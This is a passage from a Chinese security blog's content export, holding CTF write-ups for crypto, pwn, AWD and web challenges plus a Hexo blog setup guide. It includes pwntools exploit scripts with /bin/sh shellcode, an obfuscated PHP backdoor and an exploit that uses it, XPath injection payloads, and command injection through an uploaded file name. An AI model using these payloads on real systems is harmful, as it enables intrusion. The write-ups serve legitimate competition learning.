将密文转换为字节列表ciphertext_bytes = bytes.fromhex(ciphertext_hex)flag = []# 逆向解密for c in ciphertext_bytes: original_byte = ((c - key[1]) * mod_inverse(key[0], 256)) % 256 flag.append(original_byte)# 将解密后的字节列表转换为字符串original_flag = bytes(flag).decode('utf-8')print(original_flag) 得到flag:flag{4ff1ne_c1pher_i5_very_3azy} babyaes打开附件 123456789101112131415161718192021222324from Crypto.Cipher import AESimport osfrom flag import flagfrom Crypto.Util.number import *def pad(data): return data + b"".join([b'\\x00' for _ in range(0, 16 - len(data))])def main(): flag_ = pad(flag) key = os.urandom(16) * 2 iv = os.urandom(16) print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1) aes = AES.new(key, AES.MODE_CBC, iv) enc_flag = aes.encrypt(flag_) print(enc_flag)if __name__ == "__main__": main()# 3657491768215750635844958060963805125333761387746954618540958489914964573229# b'>]\\xc1\\xe5\\x82/\\x02\\x7ft\\xf1B\\x8d\\n\\xc1\\x95i' key是32bytes,256bits ;iv是16bytes ,128bits key^iv ,那么只有 iv 与 key的低128位相异或,所以key的高128位是固定不变的。所以输出结果的高128bits,就是key的高128bits,进而可以得到key的所有值256bits。 之后key的低128bits,与输出结果的低128bits相异或,所得结果就是iv的值了 解密: 1234567891011121314151617from Crypto.Cipher import AESimport osfrom gmpy2 import*from Crypto.Util.number import*xor = 3657491768215750635844958060963805125333761387746954618540958489914964573229^1enc_flag = b'>]\\xc1\\xe5\\x82/\\x02\\x7ft\\xf1B\\x8d\\n\\xc1\\x95i'out = long_to_bytes(xor)key = out[:16]*2# print(key)iv = bytes_to_long(key[16:])^bytes_to_long(out[16:])# print(iv)iv = long_to_bytes(iv)# print(iv)aes = AES.new(key,AES.MODE_CBC,iv)flag = aes.decrypt(enc_flag)print(flag) 得到b'firsT_cry_Aes\\x00\\x00\\x00' flag:flag{firsT_cry_Aes} Pwn3/5 ret2text栈溢出 ida打开发现明显的栈溢出,而且还有后门backdoor()函数 反汇编代码 12345678910int __cdecl main(int argc, const char **argv, const char **envp){ char buf[32]; // [rsp+0h] [rbp-20h] BYREF init(argc, argv, envp); puts("Welcome to NewStar CTF!!"); puts("Show me your magic"); read(0, buf, 0x100uLL); return 0;} backdoor代码 12345int backdoor(){ puts("Congratulations!!!"); return execve("/bin/sh", 0LL, 0LL);} backdoor地址00000000004011FB 编写脚本 1234567891011121314151617from pwn import *return_address = 0x4011FBpadding = b'A' * 40# 构造payloadpayload = padding + p64(return_address)# 连接目标服务r = remote('node4.buuoj.cn',27081)r.recvline()r.recvline()# 发送payloadr.sendline(payload)# 接收响应r.interactive() 之后直接cat flag即可拿到flag:flag{11b564d9-fb42-41c6-a215-a750c4fc8c28} ezshellcode反汇编 1234567891011int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ void *buf; // [rsp+8h] [rbp-8h] init(argc, argv, envp); buf = (void *)(int)mmap((void *)0x66660000, 0x1000uLL, 7, 50, -1, 0LL); puts("Welcome to NewStar CTF!!"); puts("Show me your magic"); read(0, buf, 0x100uLL); JUMPOUT(0x66660000LL);} 直接写shellcode即可,网上随便搜一个shellcode,编写脚本 123456789101112131415161718from pwn import *# shellcodeshellcode = b'\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\xb0\\x3b\\x99\\x0f\\x05'# 启动进程r = remote('node4.buuoj.cn',28681)# 读取欢迎信息print(r.recv())# 写入shellcode到内存块r.sendline(shellcode)r.interactive()# 关闭进程r.close() 直接cat flag newstar shop主函数 123456789101112131415161718192021222324252627282930int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ int v3; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-8h] v4 = __readfsqword(0x28u); init(argc, argv, envp); while ( 1 ) { menu(); if ( (int)__isoc99_scanf("%d", &v3) <= 0 ) puts("Invalid input"); switch ( v3 ) { case 1: shop(); break; case 2: makemoney(); break; case 3: dont_try(); break; default: puts("nothing here"); puts("\\n"); break; } }} menu() 12345678910111213unsigned __int64 menu(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); puts("================="); puts("1.Go to the shop "); puts("2.Make some money"); puts("3.Don't choose "); puts("================="); puts("\\n"); return v1 - __readfsqword(0x28u);} shop() 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869unsigned __int64 shop(){ int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("============================="); puts("===Welcome to newstar shop==="); puts("============================="); puts("1.newstar's gift 20$"); puts("2.pwn write up 40$"); puts("3.shell 9999$"); puts("\\n"); puts("All things are only available for one day!"); puts("What do you want to buy?"); puts("\\n"); if ( (int)__isoc99_scanf("%d", &v1) <= 0 ) puts("Invalid input"); if ( v1 != 3 ) { if ( v1 > 3 ) {LABEL_17: puts("nothing here"); puts("\\n"); return v2 - __readfsqword(0x28u); } if ( v1 == 1 ) { if ( (unsigned int)money > 0x13 ) { money -= 20; puts("You buy a newstar's gift"); puts("That is the gift:"); puts("What will happen when int transfer to unsigned int?"); goto LABEL_10; } } else { if ( v1 != 2 ) goto LABEL_17; if ( (unsigned int)money > 0x27 ) { money -= 40; puts("You buy a pwn write up"); puts("That is free after the match,haha"); goto LABEL_10; } } puts("Sorry,you don't have enough money");LABEL_10: puts("\\n"); return v2 - __readfsqword(0x28u); } if ( (unsigned int)money > 0x270E ) { money = 0; puts("How do you buy it?"); puts("\\n"); system("/bin/sh"); } else { puts("Sorry,you don't have enough money"); puts("\\n"); } return v2 - __readfsqword(0x28u);} makemoney() 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859unsigned __int64 makemoney(){ int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("============================"); puts("==========Job list=========="); puts("============================"); puts("1.McDonald part time job 20$"); puts("2.MeiTuan takeout 40$"); puts("3.Giving out leaflets 60$"); puts("What do you want to do?"); puts("\\n"); if ( (int)__isoc99_scanf("%d", &v1) <= 0 ) puts("Invalid input"); switch ( v1 ) { case 1: if ( hour <= 3 ) goto LABEL_12; puts("You chose McDonald's part time job"); puts("It took you 4hours and earned 20$"); puts("\\n"); hour -= 4; money += 20; break; case 2: if ( hour <= 7 ) {LABEL_12: puts("You need to rest"); puts("\\n"); return v2 - __readfsqword(0x28u); } puts("You chose MeiTuan takeout"); puts("It took you 8hours and earned 40$"); puts("\\n"); hour -= 8; money += 40; break; case 3: if ( hour > 11 ) { puts("You chose giving out leaflets"); puts("It took you 12hours and earned 60$"); puts("\\n"); hour -= 12; money += 60; return v2 - __readfsqword(0x28u); } goto LABEL_12; default: puts("nothing here"); puts("\\n"); return v2 - __readfsqword(0x28u); } return v2 - __readfsqword(0x28u);} dont_try() 12345678910111213141516unsigned __int64 dont_try(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); if ( chance ) { puts("You shouldn't choose this"); puts("Please remember, the shop owner doesn't like his secret to be found"); puts("To punish your choice, you will lose 50$ and you will never be able to choose it!"); puts("\\n"); money -= 50; --chance; } return v1 - __readfsqword(0x28u);} 原理:有符号型负数int转化为无符号int会导致无符号int数值特别大 因此,先把所有money花光,之后去dont_try()函数减钱,将其变成负数,即可买到shell 总结作为新生赛,还是比较简单的,对初学者比较友好。 贴一个官方wp:NewStarCTF 2023 Week1 官方WriteUp (shimo.im)","categories":[{"name":"WriteUp","slug":"WriteUp","permalink":"https://blog.lazyforever.top/categories/WriteUp/"}],"tags":[{"name":"web","slug":"web","permalink":"https://blog.lazyforever.top/tags/web/"},{"name":"reverse","slug":"reverse","permalink":"https://blog.lazyforever.top/tags/reverse/"},{"name":"misc","slug":"misc","permalink":"https://blog.lazyforever.top/tags/misc/"},{"name":"pwn","slug":"pwn","permalink":"https://blog.lazyforever.top/tags/pwn/"},{"name":"crypto","slug":"crypto","permalink":"https://blog.lazyforever.top/tags/crypto/"}]},{"title":"天津市大学生信息安全网络攻防大赛","slug":"2023tianjindawd","date":"2023-09-19T05:07:18.000Z","updated":"2023-11-05T14:44:09.673Z","comments":true,"path":"2023/09/19/2023tianjindawd/","link":"","permalink":"https://blog.lazyforever.top/2023/09/19/2023tianjindawd/","excerpt":"","text":"介绍此次比赛设DAWD攻防赛和应急响应实战场景赛两个赛题类型,两种赛题同时开赛,其中: ① DAWD攻防赛会提供4个攻防题目环境,2个web题目环境,2个pwn题目环境,比赛开始时全部开放; ② 应急响应实战场景赛共一个场景,场景赛包含多个题目,根据问题的难度会设置不同的分值,选手可以通过提交不同题目获取相应的分值。 排名队伍名字 NKV DAWD攻防赛排名第一 应急响应排名第七 总分第一 过程dawd的shop题目我们审计出了两个漏洞 第一个是在/config/config.php 1234567891011<?php@$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]);?> 一个明显的后门,相当于$_GET['0']($_POST['1']) 直接system('cat /flag')就行 另一个是在/controller/index.class.php 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091<?phpclass indexController extends medoo{ function index() { $date = get('time'); switch ($date) { case 'today': $datas['time'] = 'today'; break; case 'yestoday': $datas['time'] = 'yestoday'; break; case 'before': $datas['time'] = 'before'; break; default: $datas['time'] = 'today'; break; } $datas['title'] = 'ASHOP'; $database = new index(); $datas['cats'] = $database->get_cats(); $user_data = array(); $user_data['time'] = time(); $user_data['ip'] = $_SERVER['REMOTE_ADDR']; setcookie("AshopToken", base64_encode(serialize($user_data))); $this->display( $datas ); } function cat() { $catid = get('id'); $datas['title'] = 'cat | ASHOP'; $datas['catid'] = $catid; $database = new index(); $datas['cats'] = $database->get_cats(); $this->display( $datas ); } function more() { $date = get('time'); switch ($date) { case 'today': $time = date('Y-m-d',time()); break; case 'yestoday': $time = date('Y-m-d',strtotime('-1 day')); break; case 'before': $time = date('Y-m-d',strtotime('-2 day')); break; } $database = new index(); $datas['contents'] = $database->get_contents( $time ); $data = $datas['contents']; $result = $database->get_more( $data ); echo $result; } function cat_more() { $catid = get('id'); $database = new index(); $datas['contents'] = $database->cat_contents( $catid ); $data = $datas['contents']; //print_r($data); $result = $database->get_more( $data ); echo $result; } function show_pic() { $pic = get('file'); if ($pic != null){ header("Content-type:image/jpeg"); echo file_get_contents($pic); } }} 其中末尾处 12345678function show_pic() { $pic = get('file'); if ($pic != null){ header("Content-type:image/jpeg"); echo file_get_contents($pic); } } 参数file直接作为变量进行file_get_contents,没有对变量进行过滤,导致直接?c=index&a=show_pic&file=/flag就可以拿到flag 这里直接贴上我的exp 12345678910111213141516171819202122232425262728293031323334import reimport requestsimport sys# 正则匹配flagdef find_flag (str): pattern = r'^flag\\{.*\\}$' result = re.match(pattern, str).group(0) return result# 初始化try: HOST = sys.argv[1] PORT = sys.argv[2]except: passurl=f"http://{HOST}:{PORT}/config/config.php?0=system"uri=""target=url+uridata={ '1':'cat /flag'}url2=f"http://{HOST}:{PORT}/?c=index&a=show_pic&file=php://filter/resource=/flag"try: a=requests.post(target,data=data) print(find_flag(a.text))except Exception as e: a=requests.post(url2) print((str(a.text)[-43:-1])) patch也贴上 patch.sh 123#!/bin/bashpython3 patch.py cp index.class.php /var/www/html/controller/index.class.php index.class.php 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394<?phpclass indexController extends medoo{ function index() { $date = get('time'); switch ($date) { case 'today': $datas['time'] = 'today'; break; case 'yestoday': $datas['time'] = 'yestoday'; break; case 'before': $datas['time'] = 'before'; break; default: $datas['time'] = 'today'; break; } $datas['title'] = 'ASHOP'; $database = new index(); $datas['cats'] = $database->get_cats(); $user_data = array(); $user_data['time'] = time(); $user_data['ip'] = $_SERVER['REMOTE_ADDR']; setcookie("AshopToken", base64_encode(serialize($user_data))); $this->display($datas); } function cat() { $catid = get('id'); $datas['title'] = 'cat | ASHOP'; $datas['catid'] = $catid; $database = new index(); $datas['cats'] = $database->get_cats(); $this->display($datas); } function more() { $date = get('time'); switch ($date) { case 'today': $time = date('Y-m-d', time()); break; case 'yestoday': $time = date('Y-m-d', strtotime('-1 day')); break; case 'before': $time = date('Y-m-d', strtotime('-2 day')); break; } $database = new index(); $datas['contents'] = $database->get_contents($time); $data = $datas['contents']; $result = $database->get_more($data); echo $result; } function cat_more() { $catid = get('id'); $database = new index(); $datas['contents'] = $database->cat_contents($catid); $data = $datas['contents']; //print_r($data); $result = $database->get_more($data); echo $result; } function show_pic() { $pic = get('file'); if (strpos($pic, "flag") !== false) { $pic = ''; } if ($pic != null) { header("Content-type:image/jpeg"); echo file_get_contents($pic); } }} patch.py 123456789import osfile_path = "/var/www/html/config/config.php"try: os.remove(file_path) print(f"File {file_path} has been successfully deleted.")except OSError as e: print(f"Error deleting {file_path}: {e}") 应急响应考察更多的是一些木马和勒索病毒的知识,模式与ctf答题模式差不多,只不过每道题给分是固定的。 总结第一次打 dawd 模式,感觉 dawd 是 awd 的简化版,没有不死马这种一次打中每次都能拿分的骚操作,更加考验大家写脚本的速度和熟练度。 比赛有点水,主要靠dawd攻防拉分,因为我们队第三轮就开始拿分,等别的队伍开始拿分的时候就已经甩开好多分数了。 应急响应最后只差3道题没答上来,我没做几道题,主要靠队友c,队友tql。 关于这个比赛感觉初赛入围还是挺容易的,随便会做几道题就可以入围,复赛难度也不大,但是赛前没有培训就很离谱,都打上比赛了才去发提交exp的方法,很多队伍连awd都没怎么参与进来,几乎没有几只队伍防守的充分,导致先拿分的队伍比后拿分的队伍分数高了很多,后拿分的很难追上。 贴个题目链接: web-shop 另一道web题,忘记名字了 pwn-ttt 还有一道pwn题找不到了。。。","categories":[{"name":"awd","slug":"awd","permalink":"https://blog.lazyforever.top/categories/awd/"}],"tags":[{"name":"rce","slug":"rce","permalink":"https://blog.lazyforever.top/tags/rce/"},{"name":"php","slug":"php","permalink":"https://blog.lazyforever.top/tags/php/"},{"name":"awd","slug":"awd","permalink":"https://blog.lazyforever.top/tags/awd/"}]},{"title":"[DASCTF 2023 & 0X401七月暑期挑战赛] MyPicDisk","slug":"2023dasctf_MyPicDisk","date":"2023-07-27T14:30:16.000Z","updated":"2023-10-06T06:16:59.077Z","comments":true,"path":"2023/07/27/2023dasctf_MyPicDisk/","link":"","permalink":"https://blog.lazyforever.top/2023/07/27/2023dasctf_MyPicDisk/","excerpt":"","text":"过程开启容器,发现以下表单,表单信息通过post方法传送 通过xpath万能注入 1username=admin'&password=']|//*|//*['&submit=%E7%99%BB%E5%BD%95 注入成功,burp观察返回包发现注释信息获得提示下载源码/y0u_cant_find_1t.zip 得到源码 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121<?phpsession_start();error_reporting(0);class FILE{ public $filename; public $lasttime; public $size; public function __construct($filename) { if (preg_match("/\\//i", $filename)) { throw new Error("hacker!"); } $num = substr_count($filename, "."); if ($num != 1) { throw new Error("hacker!"); } if (!is_file($filename)) { throw new Error("???"); } $this->filename = $filename; $this->size = filesize($filename); $this->lasttime = filemtime($filename); } public function remove() { unlink($this->filename); } public function show() { echo "Filename: " . $this->filename . " Last Modified Time: " . $this->lasttime . " Filesize: " . $this->size . "<br>"; } public function __destruct() { system("ls -all " . $this->filename); }}?><!DOCTYPE html><html><head> <meta charset="UTF-8"> <title>MyPicDisk</title></head><body> <?php if (!isset($_SESSION['user'])) { echo '<form method="POST"> username:<input type="text" name="username"></p> password:<input type="password" name="password"></p> <input type="submit" value="登录" name="submit"></p></form>'; $xml = simplexml_load_file('/tmp/secret.xml'); if ($_POST['submit']) { $username = $_POST['username']; $password = md5($_POST['password']); $x_query = "/accounts/user[username='{$username}' and password='{$password}']"; $result = $xml->xpath($x_query); if (count($result) == 0) { echo '登录失败'; } else { $_SESSION['user'] = $username; echo "<script>alert('登录成功!');location.href='/index.php';</script>"; } } } else { if ($_SESSION['user'] !== 'admin') { echo "<script>alert('you are not admin!!!!!');</script>"; unset($_SESSION['user']); echo "<script>location.href='/index.php';</script>"; } echo "<!-- /y0u_cant_find_1t.zip -->"; if (!$_GET['file']) { foreach (scandir(".") as $filename) { if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) { echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>"; } } echo ' <form action="index.php" method="post" enctype="multipart/form-data"> 选择图片:<input type="file" name="file" id=""> <input type="submit" value="上传"></form> '; if ($_FILES['file']) { $filename = $_FILES['file']['name']; if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) { die("hacker!"); } if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) { echo "<script>alert('图片上传成功!');location.href='/index.php';</script>"; } else { die('failed'); } } } else { $filename = $_GET['file']; if ($_GET['todo'] === "md5") { echo md5_file($filename); } else { $file = new FILE($filename); if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") { echo "<img src='../" . $filename . "'><br>"; echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>"; echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>"; } else if ($_GET['todo'] === "remove") { $file->remove(); echo "<script>alert('图片已删除!');location.href='/index.php';</script>"; } else if ($_GET['todo'] === "show") { $file->show(); } } } } ?></body></html> 分析源码,发现有文件上传白名单(jpg|jpeg|gif|png|bmp后缀名) 继续分析,发现class FILE的system("ls -all " . $this->filename);处存在命令拼接 但是有条件,必须保证文件名有且只有一个.,并且不能含有\\/ 接下来想方法绕过 首先上传文件1111.jpg,文件内容为ls /用来查看根目录flag文件名 接下来上传名为;`cat 111*`;1.jpg的文件再进行?filename=;`cat 111*`;1.jpg&todo=show,发现成功执行了命令,返回得到flag路径adjaskdhnask_flag_is_here_dakjdnmsakjnfksd 最后更换文件内容为cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd,再次执行命令得到flag 原理xpath注入题目中xpath查询语句拼接后为 1/accounts/user[username='admin'' and password='']|//*|//*[''] 其实后面不重要,因为admin的引号已经将查询语句闭合了 相当于 1/accounts/user[username='admin'] 于是相当于查询是否有admin账户,得到结果 rce;可以分隔一串命令 `Linux中反引号的作用是在将反引号内的命令处理完毕之后,会将返回的信息传给反引号的位置,再次执行命令 后记看了网上好多wp,发现我的做法貌似是非预期 预期解是md5_file函数结合phar打的 太菜了太菜了,别的题目为什么不写wp,因为都不会。。。。。","categories":[{"name":"WriteUp","slug":"WriteUp","permalink":"https://blog.lazyforever.top/categories/WriteUp/"}],"tags":[{"name":"web","slug":"web","permalink":"https://blog.lazyforever.top/tags/web/"},{"name":"xpath注入","slug":"xpath注入","permalink":"https://blog.lazyforever.top/tags/xpath%E6%B3%A8%E5%85%A5/"},{"name":"rce","slug":"rce","permalink":"https://blog.lazyforever.top/tags/rce/"},{"name":"php","slug":"php","permalink":"https://blog.lazyforever.top/tags/php/"}]},{"title":"使用hexo框架搭建github静态博客","slug":"hexo","date":"2023-06-30T07:26:57.000Z","updated":"2023-06-30T08:41:41.280Z","comments":true,"path":"2023/06/30/hexo/","link":"","permalink":"https://blog.lazyforever.top/2023/06/30/hexo/","excerpt":"","text":"第一次使用 hexo 搭建静态网站,踩了好多坑,立此贴记录一下 本地配置Hexo安装NodejsNodejs官方地址 从以上链接下载 nodejs 安装(官网下载稍慢,建议翻墙) 设置npm淘宝镜像站npm 默认的源的下载速度可能很慢,建议使用淘宝镜像替换。执行下面的命令,将 npm 的源设置成淘宝镜像站。 1npm config set registry "https://registry.npm.taobao.org" 安装gitgit官方链接 从以上链接下载 git 安装 一路确认,安装时要勾选 Add to PATH 选项 验证cmd 输入以下命令观察是否执行正确 12git --versionnpm -v 初始化Hexo执行以下命令安装 hexo 1npm install hexo-cli g 在电脑的某个磁盘或路径新建一个文件夹(名字可以随便取),比如我的是 D:\\blog,由于这个文件夹将来就作为您存放博客的地方,所以最好不要随便放 在 D:\\blog 文件夹下右键打开 Git Bash Here,输入命令: hexo init 进行初始化 hexo 会自动下载一些文件到这个目录 接着在 cmd 中安装其他 hexo 插件 123456789npm installnpm install hexo-server --savenpm install hexo-admin --savenpm install hexo-generator-archive --savenpm install hexo-generator-feed --savenpm install hexo-generator-search --savenpm install hexo-generator-tag --savenpm install hexo-deployer-git --savenpm install hexo-generator-sitemap --save 至此,本地 hexo 配置完毕。 现在可以使用 hexo 搭建本地服务器来使用 使用 hexo g 生成静态页面,使用 hexo s 开启本地服务器,接下来可以用浏览器地址栏输入 localhost:4000 来看见刚刚创建的博客 部署github配置 Github注册 github 账号,并在主页创建仓库,名字为 [yourname].github.io 配置ssh打开git bash终端设置 user.name 和 user.email 12git config --global user.name "你的GitHub用户名"git config --global user.email "你的GitHub注册邮箱" 生成ssh密匙 1ssh-keygen -t rsa -C "你的GitHub注册邮箱" 将公匙添加到 github 上 将hexo博客部署到github上修改配置文件 blog/_config.yml,修改deploy项的内容,如下所示: 注意: 分支(branch)要与自己创建仓库的分支名称一致(注意master与main的区别) 冒号后面必须添加一个空格 保持缩进格式一致 给出示例: 123456# Deployment## Docs: https://hexo.io/docs/one-command-deploymentdeploy: - type: git repo: https://github.com/lazy-forever/lazy-forever.github.io.git branch: main 部署hexo输入下面的命令将hexo博客部署到github中: 123hexo cl #清理之前生成的文件hexo g #生成静态页面hexo d #部署 隔一段时间后打开浏览器,输入 [yourname].github.io 即可看到我们部署的博客 关于翻墙众所周知,中国大陆境内对于 github 的访问一直处于时常能连上时常连不上的状态,因此如果我们在执行 hexo d 命令时翻墙,会让部署的过程更加丝滑。 我的电脑一直在使用 clash 进行翻墙,而在 cmd 中使用hexo d时,clash 必须用以管理员身份打开并开启增强功能,如图:","categories":[{"name":"博客","slug":"博客","permalink":"https://blog.lazyforever.top/categories/%E5%8D%9A%E5%AE%A2/"}],"tags":[{"name":"技术","slug":"技术","permalink":"https://blog.lazyforever.top/tags/%E6%8A%80%E6%9C%AF/"}]},{"title":"My First Blog","slug":"hello-world","date":"2023-05-29T10:00:00.000Z","updated":"2023-05-31T15:54:21.269Z","comments":true,"path":"2023/05/29/hello-world/","link":"","permalink":"https://blog.lazyforever.top/2023/05/29/hello-world/","excerpt":"","text":"这是我的第一篇博客。","categories":[],"tags":[{"name":"其他","slug":"其他","permalink":"https://blog.lazyforever.top/tags/%E5%85%B6%E4%BB%96/"}]}],"categories":[{"name":"WriteUp","slug":"WriteUp","permalink":"https://blog.lazyforever.top/categories/WriteUp/"},{"name":"技术","slug":"技术","permalink":"https://blog.lazyforever.top/categories/%E6%8A%80%E6%9C%AF/"},{"name":"awd","slug":"awd","permalink":"https://blog.lazyforever.top/categories/awd/"},{"name":"博客","slug":"博客","permalink":"https://blog.lazyforever.top/categories/%E5%8D%9A%E5%AE%A2/"}],"tags":[{"name":"web","slug":"web","permalink":"https://blog.lazyforever.top/tags/web/"},{"name":"Java安全","slug":"Java安全","permalink":"https://blog.lazyforever.top/tags/Java%E5%AE%89%E5%85%A8/"},{"name":"反序列化","slug":"反序列化","permalink":"https://blog.lazyforever.top/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"},{"name":"CC链","slug":"CC链","permalink":"https://blog.lazyforever.top/tags/CC%E9%93%BE/"},{"name":"wireshark","slug":"wireshark","permalink":"https://blog.lazyforever.top/tags/wireshark/"},{"name":"apk逆向","slug":"apk逆向","permalink":"https://blog.lazyforever.top/tags/apk%E9%80%86%E5%90%91/"},{"name":"frida","slug":"frida","permalink":"https://blog.lazyforever.top/tags/frida/"},{"name":"mitmproxy","slug":"mitmproxy","permalink":"https://blog.lazyforever.top/tags/mitmproxy/"},{"name":"jeb","slug":"jeb","permalink":"https://blog.lazyforever.top/tags/jeb/"},{"name":"jadx","slug":"jadx","permalink":"https://blog.lazyforever.top/tags/jadx/"},{"name":"reverse","slug":"reverse","permalink":"https://blog.lazyforever.top/tags/reverse/"},{"name":"misc","slug":"misc","permalink":"https://blog.lazyforever.top/tags/misc/"},{"name":"pwn","slug":"pwn","permalink":"https://blog.lazyforever.top/tags/pwn/"},{"name":"crypto","slug":"crypto","permalink":"https://blog.lazyforever.top/tags/crypto/"},{"name":"rce","slug":"rce","permalink":"https://blog.lazyforever.top/tags/rce/"},{"name":"php","slug":"php","permalink":"https://blog.lazyforever.top/tags/php/"},{"name":"awd","slug":"awd","permalink":"https://blog.lazyforever.top/tags/awd/"},{"name":"xpath注入","slug":"xpath注入","permalink":"https://blog.lazyforever.top/tags/xpath%E6%B3%A8%E5%85%A5/"},{"name":"技术","slug":"技术","permalink":"https://blog.lazyforever.top/tags/%E6%8A%80%E6%9C%AF/"},{"name":"其他","slug":"其他","permalink":"https://blog.lazyforever.top/tags/%E5%85%B6%E4%BB%96/"}]}